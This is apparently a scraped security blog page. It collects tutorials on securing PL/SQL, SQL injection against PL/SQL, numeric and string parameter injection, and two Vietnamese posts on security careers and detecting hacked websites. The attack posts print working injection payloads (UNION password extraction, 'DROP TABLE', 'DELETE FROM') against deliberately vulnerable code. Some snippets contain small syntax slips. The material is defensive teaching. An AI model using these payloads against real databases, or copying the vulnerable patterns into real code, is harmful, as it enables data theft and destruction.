Secure PL/SQL

08:51 Unknown 0 Comments

Secure PL/SQL

Prevent SQL injection attacks against PL/SQL
As explained in the article about SQL injection attacks against PL/SQL, it is possible to create procedures vulnerable to SQLIA. This article details how you can secure PL/SQL code against SQL injections by making only a few programming changes.

Bind Variables

Bind parameters are by far the best way to protect your PL/SQL code against SQL injection vulnerabilities. In short, binding the variables of a procedure will provide great performance gain in addition to be totally secure. It is the equivalent of parameterized stored procedures. Here is an example of secure PL/SQL code which uses bind arguments:
BIND VARIABLES WITH EXECUTE IMMEDIATE.
CREATE OR REPLACE PROCEDURE testBind(vname IN VARCHAR2) AS
BEGIN
   EXECUTE IMMEDIATE 'UPDATE products set price = price-1 where name = :1USING vname;
COMMIT;
END;
The same logic is applied when using bind variables with dynamic cursors. Below is a secured version of an example presented in the article about PL/SQL attacks:
BIND VARIABLES WITH DYNAMIC CUSOR.
CREATE OR REPLACE PROCEDURE putlineDesc ( vname IN VARCHAR2 ) AS
   TYPE rcursor IS REF CURSOR;
   cur rcursor;
   vdesc VARCHAR2(1000);
   vsql VARCHAR2(4000);
BEGIN
   vsql := 'SELECT CUST_LAST_NAME FROM DEMO_CUSTOMERS WHERE CUST_FIRST_NAME=:1';
   OPEN cur FOR vsql USING vname;
   LOOP
      FETCH cur INTO vdesc;
      EXIT WHEN cur%NOTFOUND;
      dbms_output.put_line(vdesc);
   END LOOP;
   CLOSE cur;
END;
In the two last examples,we explicitly indicate that we want to use bind variables.

Automated Bind Variables

To simplify developers' job but also to improve performance, PL/SQL takes care of using bind variables everywhere it can even if it is not explicitly indicated. Therefore, every reference to a PL/SQL variable is in fact a bind variable. Below is an example of such case.
PL/SQL IS PROTECTED BECAUSE VARIABLE REFERENCE IS EQUIVALENT TO BIND VARIABLE.
CREATE OR REPLACE PROCEDURE plusTenPrice(vname IN VARCHAR2) AS
BEGIN
   UPDATE products
      SET price = price + 10
      WHERE name = vname;
   COMMIT;
END;
It is a great security enhancement but it does not change the fact that programmers will still have to be really careful when building dynamic queries within PL/SQL code.

Sanitize Input

The other way to secure the code would be to sanitize all input like covered in the article about input sanitization. Because all PL/SQL parameters are defined with a fixed data type, only text (VARCHAR) parameters can be vulnerable. Consequently, they are the only parameters that must be validated. The sanitazation can be done in the API code or within the PL/SQL code, but principle is the same.

Escaping Quotes

The first step to secure string parameters is to escape single quotes. It can be done by doubling them as shown below.
ESCAPING SINGLE QUOTES IN PL/SQL.
vsecure  := replace(param, '''', '''''');

AN EQUIVALENT AND LESS CONFUSING VERSION OF THE LAST REPLACE.
vsecure := replace(param, CHR(39), CHR(39)||CHR(39));
Most cases will then be secured. However you might need to replace wildcards.

Wildcards

Oracle only uses two wildcards; characters “%” and “_”. When user input gets integrated with the LIKE operator, it is strongly recommended to escape those characters. It can be done by adding a chosen character before those wildcards and by adding an ESCAPE clause at the end of the query. The ESCAPE clause specifies the escape character used in the query (it can be any character). A common example would be as follows:
ESCAPING WILDCARDS IN PL/SQL (GIVEN A QUOTE ESCAPED VARIABLE "PARAM").
vsecure := replace(param, '\', '\\');
vsecure := replace(vsecure, '_', '\_');
vsecure := replace(vsecure, '%', '\%');
vsql := 'SELECT description FROM product WHERE name LIKE ''' || vsecure || ''' ESCAPE ''\''';
In this case, the escape character is the backslash (\).

DBMS_ASSERT

Since 10g version, Oracle provide the DBMS_ASSERT package. It contains functions that can be used to validate user input. Even if the data source is considered as trusted, it is recommended to always use these functions when building dynamic queries. Here's a quick overview of this package's functions:
  • NOOP - Returns string without validation (should never be used to secure against SQL injections).
  • ENQUOTE_LITERAL - Enquotes a string literal and makes sure no individual single quote are found.
  • ENQUOTE_NAME - Encloses a name in double quotes.
  • QUALIFIED_SQL_NAME - Verifies that the input string is a qualified SQL name.
  • SCHEMA_NAME - Verifies that the input string is an existing schema name.
  • SIMPLE_SQL_NAME - Verifies that the input string is a simple SQL name.
  • SQL_OBJECT_NAME - Verifies that the input parameter string is a qualified SQL identifier of an existing SQL object.
Examples below present a successful and a failed validation. In reality, validation should be done on variables or parameters but a literal string is used for demonstration purpose. Both examples are similar, but the first one is SQL injection safe. It could represent the value of a correctly sanitized malicious parameter.
VALIDATING CORRECT INPUT.
SELECT description FROM products WHERE name=DBMS_ASSERT.ENQUOTE_LITERAL('abc'''' OR 1=1--');

VALUE RETURNED.
ORA-06502: PL/SQL: numeric or value error
Now the failed validation (SQL Injection attempt).
VALIDATING INCORRECT INPUT (CONTAINS AN INDIVIDUAL SINGLE QUOTE).
SELECT description FROM products WHERE name=DBMS_ASSERT.ENQUOTE_LITERAL('abc'' OR 1=1--');

ERROR RETURNED.
ORA-06502: PL/SQL: numeric or value error
As you can see, in the second example an error is thrown and the PL/SQL script would stop where the ENQUOTE_LITERAL function was called.

Reference


If you want more information about creating secure PL/SQL code, you might be interested by this Oracle's white paper. It is one of the best reference about the topic.

0 nhận xét:

PL/SQL Attacks

07:12 Unknown 0 Comments

Understand SQL injection attacks against PL/SQL
PL/SQL, like stored procedures, can be vulnerable to SQL injection attacks. When PL/SQL code integrates user input into a query and executes it, we encounter exactly the same problem we have when we build a classic dynamic query. In most cases, the attack is pretty similar to those presented in the tutorial. This article presents the different ways and situations where PL/SQL produres can be attacked. If you are interested to learn how to secure PL/SQL, take a look at the article about preventing PL/SQL against SQL injections.

Execute Immediate

This statement allows to execute a dynamic SQL query or an anonymous PL/SQL block. Let’s take a look at the code of avulnerable PL/SQL procedure using EXECUTE IMMEDIATE statement. Keep in mind that this example was built for demonstration purposes only and you are not likely to find similar code in real situations.
THIS PL/SQL CODE RETURNS A PRODUCT'S DESCRIPTION (SECOND PARAMETER).
CREATE OR REPLACE PROCEDURE prodDescr(vname IN VARCHAR2, vresult OUT VARCHAR2) AS
   vsql    VARCHAR2(4000);
BEGIN
   vsql := 'SELECT description FROM products WHERE name=''' || vname || '''';
   EXECUTE IMMEDIATE vsql INTO vresult;
END;
The parameter is integrated in the query without being sanitized and a SQL injection vulnerability is created. Here is how it could be attacked.
MALICIOUS USER INPUT.
A' AND 1=2 UNION SELECT password FROM members WHERE username='admin

GENERATED QUERY.
SELECT description FROM products WHERE name='A' OR 1=2 UNION SELECT password FROM members WHERE username='admin'
When the query is executed, the attacker gets the administrator’s password. It is important to mention that Oracle does not allow executing multiple SQL statements in a single dynamic SQL call. The attacker will therefore be mostly limited to UNION attacks and WHERE clause manipulations. Nevertheless, it is possible to batch queries in the same call to EXECUTE IMMEDIATE when anonymous PL/SQL blocks are used.

Anonymous PL/SQL blocks

Using anonymous PL/SQL blocks in an application is a fast way to get a query executed, however it can become extremely dangerous when using it with dynamic queries. It is especially interesting from the attacker perspective since it will be possible to inject multiple SQL statements. Here is an example of vulnerable anonymous block.
PL/SQL PROCEDURE TO INCREASE THE PRICE OF A PRODUCT BY $1.
CREATE OR REPLACE PROCEDURE increasePrice ( vname IN VARCHAR2 ) AS
BEGIN
   EXECUTE IMMEDIATE 'BEGIN UPDATE products SET price = price+1 WHERE name=''' || vname || '''; END;';
END increasePrice;
If you are wondering what an attack might look like for this particular PL/SQL here is an example:
MALICIOUS USER INPUT.
zzzz'; DELETE FROM products WHERE 'a'='a

GENERATED QUERY.
UPDATE products SET price = price+1 WHERE name'zzzz'; DELETE FROM products WHERE 'a'='a'
With this crafted input, the anonymous PL/SQL block will increase the price of all products named zzzz and it will then delete all products in the database.

Dynamic Cursors

PL/SQL allows dynamic cursors. They can be vulnerable to SQL injection too since they are dynamically generated just asexecute immediate. Here is an example of vulnerable code.
THIS PL/SQL DOES NOTHING - SIMPLY USING DBMS_OUTPUT FOR DEMONSTRATION PURPOSE.
CREATE OR REPLACE PROCEDURE putlineDesc ( vname IN VARCHAR2 ) AS
   TYPE rcursor IS REF CURSOR;
   cur rcursor;
   vdesc VARCHAR2(1000);
   vsql VARCHAR2(4000);
BEGIN
   vsql := 'SELECT description FROM products WHERE name=''' || vname || '''';
   OPEN cur FOR vsql;
   LOOP
      FETCH cur INTO vdesc
      EXIT WHEN cur%NOTFOUND;
      dbms_output.put_line(vdesc);
   END LOOP;
   CLOSE cur;
END;
The attack is pretty classic for this case. In fact, it could be identic to the first attack example shown in this article. Let's take a look at it.
MALICIOUS INPUT
A' AND 1=2 UNION SELECT password FROM members WHERE username='admin

GENERATED QUERY.
SELECT description FROM products WHERE name=A' AND 1=2 UNION SELECT password FROM members WHERE username='admin
Here again, all passwords would be returned to the attacker.

Limitations


When attacking vulnerable PL/SQL code, you need to be aware that only string parameters can be exploited. Because the procedure defines parameter's data type, you will not be able to insert SQL segments in numeric values. Another common limitation with PL/SQL attacks is that it will be impossible to use DDL (Data Definition Language) except if function or procedure is idenfied as a PRAGMA_TRANSACTION.

0 nhận xét:

SQL Injection Attacks and Numeric Parameters

06:48 Unknown 0 Comments

Understanding numeric SQL injection
Attacks against numeric parameters are the simplest way to achieve a SQL injection. This kind of vulnerability is also widely spread since developers often consider that numeric parameters are safe when in most cases they are not. Let's now see how and why it is possible to inject SQL segments in this case.

Numeric Parameter Injection Example

The best way to demonstrate how SQL injection in numeric parameters works is probably by covering an example. Let’s take a webpage that shows information about a product. The product displayed is indicated in the URL via a GET parameter named id. Here is what the URL looks like when a regular user views a product.
ID PARAMETER IN URL
http://www.victim.com/viewProduct.php?id=1
The script behind this webpage does the following.
BUILDING THE QUERY WITHOUT SANITIZING INPUT.
$sql = "SELECT id, name, description FROM products WHERE id=".$_GET['id'];

QUERY GENERATED (THIS QUERY IS EXECUTED).
SELECT id, name, description FROM products WHERE id=1
As expected, the product which has id 1 is displayed in the webpage. Now what happens if an attacker manipulates the WHERE clause by submitting a specially crafted parameter?
URL VISITED BY THE ATTACKER (CRAFTED PARAMETER).
http://www.victim.com/viewProduct.php?id=1 OR 1=1

QUERY GENERATED.
SELECT id, name, description FROM products WHERE id=1 OR 1=1
This case is pretty inoffensive since the webpage simply shows all products contained in the database. However, the attacker could inject a SQL segment that would have a much bigger impact.
PARAMETER SUBMITTED BY THE ATTACKER.
1; DROP TABLE products

QUERY GENERATED.
SELECT id, name, description FROM products WHERE id=1; DROP TABLE products
As you can guess, this SQL injection attack would delete all products in the database by executing a second query after the initial SELECT. This technique is detailled in the article about stacked queries attacks.

Weak Data Typing

Injecting text (SQL segments) into numeric parameter is definitively counter intuitive. Nevertheless, it is possible because weakly typed languages, like PHP, do not force variables to keep their initial data type. As a result, it is possible to insert a crafted SQL statement in parameters that were supposed to contain numeric values. Obviously, it is a perfect situation for attackers to submit SQL segments and manipulate the query.

Quoted Numeric Parameters


Many DBMS support queries where numeric values are surrounded by single quotes. When testing for vulnerabilities you must keep this possibility in mind. Which means you also need to test numeric parameters as if they were text parameters.

0 nhận xét:

String Parameter Injection Example

06:46 Unknown 0 Comments

Let’s suppose the page we are testing has GET parameter named username. When loaded, it displays the full name and email of the specified member. Here is what the URL looks like when a regular request is made.

REAL USERNAME PARAMETER IN URL.
http://www.victim.com/viewMember.php?username=admin
And now an overview of what happens in the page’s script.
BUILDING THE QUERY WITHOUT SANITIZING INPUT.
$sql = "SELECT id, username, first_name, last_name, email FROM members WHERE username='".$_GET['username']."'";

QUERY QENERATED (THIS QUERY IS EXECUTED).
SELECT id, username, first_name, last_name, email FROM members WHERE username='admin'
The user input is integrated as is. Therefore, the attacker can insert SQL segments and manipulate the WHERE clause. However, before gaining control over the query, he must simulate the end of the parameter. He must also handle the original closing quote to make a valid SQL query. Let's see how it is done.

Closing Quote

Since no input sanitizing is made, the first quote appearing in the input will be considered as the closing quote.
PARAMETER SUBMITTED BY THE ATTACKER (ADDING A CLOSING QUOTE).
admin'

QUERY GENERATED (INVALID SQL SYNTAX).
SELECT id, username, first_name, last_name, email FROM members WHERE username='admin''

Trailing Quote

The last query is invalid because of the remaining single quote. When the tester adds an always true condition with a missing quote, the sql injection is successful.
PARAMETER SUBMITTED BY THE ATTACKER (NOTICE THE MISSING LAST QUOTE).
admin' OR 'a'='a

QUERY GENERATED (VALID QUERY).
SELECT id, username, first_name, last_name, email FROM members WHERE username='admin' OR 'a'='a'
By making the WHERE clause always true, the attacker will view information about all users at once. This is not a security problem since information could have been retrieved manually. However here is what he could have done.
MALICIOUS PARAMETER.
invalid-username' UNION SELECT 1, username, passwords FROM members WHERE 'x'='x

QUERY GENERATED.
SELECT id, username, first_name, last_name, email FROM members WHERE username='invalid-username' UNION SELECT 1, username, passwords FROM members WHERE 'x'='x'
As you can guess, this would list all username and passwords in the database. This technique is detailed in the SQL injection UNION attacks article.

0 nhận xét:

An ninh mạng học gì?

09:54 Unknown 0 Comments

An ninh mạng học gì?

1. Giới thiệu    
Ngày nay khi công nghệ thông tin đã là công cụ cho tất cả các ngành nghề khác. Nhiều công việc đã được lập trình tự động hóa, phần mềm giải quyết nhiều công việc của con người trên môi trường mạng.  Chính phủ điện tử, hành chính công, cổng thông tin điện tử; thanh toán trực tuyến, kinh doanh online… đã và đang triển khai và áp dụng khá nhanh tại Việt Nam. Song song với nó là nguy cơ mất an toàn thông tin và chúng ta đang đối mặt với nạn tin tặc hành hoành khắp nơi.
Hiện nay nhân lực an toàn thông tin chưa phát triển tương xứng, nhiều người vẫn xem là sinh viên CNTT tốt nghiệp, hoặc người có trình độ quản trị mạng như MCSA, CCNA…đã có thể là một an toàn viên của cơ quan, doanh nghiệp của họ. Nhưng trên thực tế thì người làm an toàn thông tin, an ninh mạng cần trình độ, kinh nghiệm thực tiễn cao hơn và cần nhiều kiến thức nền tảng liên quan vững chắc.
Trên thế giới ngành an toàn mạng đã phát triển và cần nhiều nhân lực có trình độ cao từ lâu, trong khi đó thị trường Việt Nam đang bắt đầu chú trọng đào tạo tại thành phố lớn và thị trường tuyển dụng đang nóng lên từng ngày.
            Vậy chúng ta cùng tìm hiểu công việc an toàn viên thông tin là gì và cần trang bị những kiến thức nào?
An toàn thông tin là lĩnh vực rất rộng bao gồm bảo vệ an toàn mạng và hạ tầng thông tin, an toàn máy tính, dữ liệu và các phần mềm ứng dụng và còn bao gồm cả việc nghiên cứu, phát triển các sản phẩm và giải pháp công nghệ …
2. Các nhóm công việc chính trong ngành an toàn thông tin
+ An toàn sản phẩm       
Công việc chính của nhóm:
Kiểm định mã nguồn và thiết kế của sản phẩm
Đào tạo nhân lực để nâng cao nhận thức về an toàn thông tin cũng như kỹ năng viết mã an toàn
Ví dụ: Cách viết code tránh và không có các lỗi về tràn bộ đệm, mã hóa, SQL Injection, chèn code vào website …
Nghiên cứu các hướng tấn công mới có thể ảnh hưởng hệ thống sản phẩm và dịch vụ của công ty; từ đó phát triển các giải pháp kỹ thuật và quy trình phát triển phần mềm an toàn để phát hiện và ngăn chặn những kỹ thuật tấn công đó
+ An toàn vận hành        
Công việc chính của nhóm này là đảm bảo sự an toàn cho toàn bộ hệ thống thông tin của doanh nghiệp, với ba nhiệm vụ chính:
–       Ngăn chặn: đưa ra các chính sách, quy định, hướng dẫn về an toàn vận hành; kiện toàn toàn bộ hệ thống thông tin, từ các thiết bị mạng, phần mềm  cho đến máy tính của người dùng cuối; cấp và thu hồi quyền truy cập hệ thống; quét tìm lỗ hổng trong hệ thống bằng các công cụ chuyên nghiệp …
–       Theo dõi và phát hiện các cuộc tấn công vào hệ thống mạng.
–    Điều tra số (digital forensics) khi xảy ra sự cố an toàn thông tin, từ tài khoản của nhân viên bị đánh cắp, rò rỉ thông tin sản phẩm mới cho đến tấn công từ chối dịch vụ.
+ Phát triển công cụ      
Công việc chính của nhóm này là phát triển và cung cấp các công cụ, dịch vụ và thư viện phần mềm có liên quan đến an toàn thông tin cho các nhóm phát triển sản phẩm sử dụng lại.
Nhóm này bao gồm các kỹ sư nhiều năm kinh nghiệm và có kiến thức vững chắc về an toàn thông tin, viết mã an toàn và mật mã học. Phát triển các thư viện và dịch vụ dùng chung như phân tích mã nguồn, xác thực (authentication), kiểm soát truy cập (authorization), mã hóa (encryption) và quản lý khóa (key management), v.v.
Đây là dạng công việc dành cho những ai đang viết phần mềm chuyên nghiệp và muốn chuyển qua làm về an toàn thông tin. Đây cũng là công việc của những người thích làm an toàn sản phẩm nhưng muốn tập trung vào việc xây dựng sản phẩm hơn là tìm lỗ hổng.
+ Tìm diệt mã độc và các nguy cơ khác
Công việc chính của nhóm này là phân tích, truy tìm nguồn gốc và tiêu diệt tận gốc mã độc và các tấn công có chủ đích. Mã độc ở đây có thể là virút, sâu máy tính, hay mã khai thác các lỗ hổng đã biết hoặc chưa được biết đến mà phần mềm diệt virút thông thường chưa phát hiện được. Các loại mã độc này thường được sử dụng trong các tấn công có chủ đích vào doanh nghiệp.
3. Những kiến thức bạn cần nắm vững
Ở đại học ta có cách tiếp cận top-down, nghĩa là người dạy từ đầu đến cuối những kiến thức nằm trong chương trình. Điều này dễ dẫn đến tình trạng là người học phải học những kiến thức mà ta không thấy cần thiết.  Trong khi khi đi làm thì cách tiếp cận là bottom-up, nghĩa là ta lao vào làm, thấy thiếu kiến thức chỗ nào thì học để bù vào chỗ đó. Lúc này ta hoàn toàn chủ động trong việc học và ta cũng hiểu rõ ta cần học cái gì và tại sao. Điều mà thú vị ở đây là chắc chắn rằng khi bạn truy lại các kiến thức cần phải có thì chúng lại nằm ngay trong chương trình đại học của bạn.
Có rất nhiều kiến thức bạn cần trang bị nhưng tất cả đều cần bạn khả năng tư duy dưới dạng lập trình vì tất cả các môn học đều có phần bài tập là lập trình. Học cái gì viết phần mềm cho cái đó. Học về hệ điều hành thì phần bài tập là viết một hệ điều hành. Học về mạng máy tinh thì viết phần mềm giả lập router, switch hay firewall. Cá nhân tôi cũng thấy rằng lập trình là cách tốt nhất để tiếp thu kiến thức một môn học nào đó, biến nó thành của mình.
Rõ ràng muốn tìm lỗi của phần mềm, để chống được Hacker thì bạn phải hiểu được phần mềm thông qua mã nguồn trực tiếp hay trung gian của nó. Rất có thể bạn sẽ không phải lập trình hàng ngày, nhưng bạn phải viết được những công cụ nhỏ hay hiểu rất tốt các mã nguồn mà các lập trình viên đang làm.
Vậy bạn cần các kiến thức nền tảng nào để trở thành an toàn viên
+ Lập trình
Bạn cần phải thông thạo ngôn ngữ C, các ngôn ngữ thiết kế Web, JavaScript và trên nữa là PHP, .Net, Java…vì muốn an toàn sản phẩm lập trình bạn cần biết thông thạo và thấu đáo các ngôn ngữ lập trình nhằm phát hiện những lỗi do lập trình gây ra.
+ Hệ điều hành
Kiến thức quản trị hệ thống là cực kỳ cần thiết khi muốn nghiên cứu các kỹ thuật tấn công/phòng thủ mới. Không thể làm an toàn vận hành nếu không có kỹ năng quản trị hệ thống. Hiện nay thông dụng là HĐH Windows và Linux, MAC.
+ Mạng máy tính
Kiến thức nền tảng không thể sơ sài: Nguyên lý hoạt động của các loại mạng máy tính, định tuyến, hệ thống tường lửa, quản lý dịch vụ…và các kỹ thuật hack, các kiến thức này tương đương với các chứng chỉ mạng quốc tế của các hãng như MCSA, CCNA, Linux
+ Tìm lỗi phầm mềm
–       Cần nghiên cứu các loại lỗi hay gặp khi lập trình trong các ngôn ngữ lập trình C, Java, ASP.net và SQL;
–       Tìm hiều bên trong các công cụ phát triển phần mềm như Framework, thư viện để viết code an toàn, và kiểm định được chúng
–       Tìm hiểu cách dùng các công cụ khai khác lỗ hỗng phần mềm của Hacker như Kali Linux, Metasploit…
+ Mật mã học
Nghiên cứu lý thuyết mật mã, thư viện mật mã trong các công cụ phát triển phần mềm và triển khai các loại mã hóa an toàn nhất.
Ví dụ: áp dụng mã hóa RSA, HASH, mã hóa bất đối xứng thế nào để an toàn khi thanh toán tiền online, chữ ký số, bản quyền phần mềm…
+ Các chứng chỉ quốc tế
Các chứng chỉ chuyên sâu bổ sung các kiến thức cơ bản trên:
–  CEH (Certified Ethical Hacker): Chứng chỉ cung cấp các kiến thức tấn công, nguyên lý, các công cụ phòng thủ an toàn
–  Comptia Security+: Cung cấp các kiến thức nền tảng về các công nghệ an toàn như mã hóa, xác thực, kiểm toán, triển khai các hệ thống thông tin an toàn
–  Security trên các thiết bị mạng: CCNP, JCNP… Cung cấp cách thức triển khai, cấu hình hệ thống mạng an toàn, bảo mật cao như hệ thống tường lửa, các thiết bị định tuyến.v.v
– ECSP (EC- Council Certified Secure Programmer): chứng chỉ bảo mật lập trình viên: Cung cấp các bạn các cách thức viết code an toàn và bảo mật, các kỹ thuật mã hóa, xác thực chuyên nghiệp, tránh các dữ liệu đặc biệt trong các ngôn ngữ lập trình hiện nay.
– MCPD (Microsoft Certified Professional Developer) cung cấp khả năng phát triển phần mềm trên nền tảng Net.
Bạn có thể sở hữu các chứng chỉ trên tại TTCNTT Newepoch. (www.newepochce.com)

0 nhận xét:

Hướng dẫn cách phát hiện website bị tấn công

09:52 Unknown 0 Comments

Theo Trung tâm ứng cứu khẩn cấp máy tính Việt Nam (VNCERT), trong tuần đầu tháng 8/2015, đơn vị đã phát hiện 713 website Việt Nam bị tấn công. Trong đó, có 18 website thuộc các Bộ, ngành, cơ quan nhà nước bị tấn công chiếm quyền điều khiển và thay đổi giao diện. – Nguồn ICTNews.vn

Hơn 700 website trong một tuần là con số lớn và nghiêm trọng, tương đương với những đợt tấn công lớn từ phía Trung Quốc vào Việt Nam năm 2014. Đây là vấn đề nghiêm trọng và cần có phương án giải quyết triệt để. Rất nhiều website bị hack cho đến nay vẫn chưa khắc phục hoặc có những website bị hack mà quản trị không biết hay nhiều website bị hack đến lần thứ 3, thứ 4 mà vẫn có nguy cơ tiếp tục bị hack. Dưới đây là một số hướng dẫn từ đội phản ứng nhanh (Taskforce Team) của VNIST cho các quản trị website nhằm phát hiện sớm nhất tình trạng website của mình đã hoặc đang bị tấn công để đưa ra phương án khắc phục kịp thời và triệt để.

Những dấu hiệu khi website của bạn bị hack?

1. Website bị thay đổi giao diện Trang chủ hoặc một đường dẫn tới một trang con của website bị tin tặc thay đổi giao diện. Xuất hiện nhiều dòng chữ được hacker chèn vào website, kiểu như: “hacked by …”, “God verify…”, “security is low”… Điều đó chứng cho website của bạn đã bị tin tặc hack thành công và chiếm hoàn toàn quyền điều khiển. Một mẹo nhỏ để phát hiện các đường dẫn mà tin tặc gửi lên là bạn có thể tìm kiếm trên Google theo cú pháp như sau: “site.com hacked” (với site.com là tên miền website của bạn).
2. Website của bạn bị chèn các đường dẫn tới các website khác mà bạn không biết, chèn các đoạn mã HTML để tăng truy cập cho các website khác, tồn tại nhiều đường dẫn tới các website chứa nội dung đồi trụy, khiêu dâm…
Một cơ quan nhà nước cũng từng bị chèn ảnh sex vào website
Một cơ quan nhà nước cũng từng bị chèn ảnh sex vào website
Nên thường xuyên và định kỳ kiểm tra các backlink (đường dẫn tới website khác) trên website của mình hoặc thực hiện viewsource của website (Ấn chuột phải trên trang web / chọn viewpage source / Rà soát nội dung nguồn HTML của website để phát hiện đường dẫn lạ).
3. Website của bạn bị chèn các đường dẫn giả mạo các website danh tiếng khác (giả mạo website của ngân hàng, giả mạo website giao dịch trực tuyến, giả mạo website Facebook, Gmail…). Các đường dẫn này được sử dụng để lửa đảo và chiếm tài khoản của người dùng.
Trang web vnpi.vn cũng từng bị tin tặc chèn các đường dẫn lừa đảo là trang thanh toán trực tuyến nổi tiếng thế giới: paypal.com.
Trang web vnpi.vn cũng từng bị tin tặc chèn các đường dẫn lừa đảo là trang thanh toán trực tuyến nổi tiếng thế giới: paypal.com.
4. Trang web của bạn bị tự động đăng các tin tức Spam, các tin tức trái phép lên website.
5. Các hệ thống hay các module giám sát thông báo rằng nhiều tệp tin trên website đã bị thay đổi nội dung.
6. Phát hiện website của mình thường xuyên gửi các yêu cầu HTTP đến các website khác…
7. Phát hiện các tệp tin, đoạn mã độc hại trên website, các tệp tin có chữ nhiều đoạn mã đã được mã hóa.
8. Bạn nhận được thông báo từ các đơn vị bảo mật về việc website của bạn bị tấn công, bị hack hay website của bạn được đưa lên các diễn đàn mạng, các trang thông kê các website bị tin tặc hack thành công.
Các website bị tấn công tại một thời điểm trên trang mạng Zone-h.org
Các website bị tấn công tại một thời điểm trên trang mạng Zone-h.org
Bất cứ website nào cũng có thể bị tấn công vào bất cứ thời điểm nào, điều quan trọng đầu tiên là chúng ta cần hiểu rõ các mối rủi ro tiềm ẩn những ảnh hưởng tới doanh nghiệp, tổ chức, thường xuyên rà soát để phát hiện sớm các nguy cơ, hiện trạng này để đưa ra phương án khắc phục triệt để, tránh bị hack tương tự trong lần tiếp theo. Việc website bị tấn công đối với nhiêu doanh nghiệp, tổ chức là rất ảnh hưởng, ảnh hưởng uy tín, tiền bạc và sự tin tưởng của khách hàng.

0 nhận xét: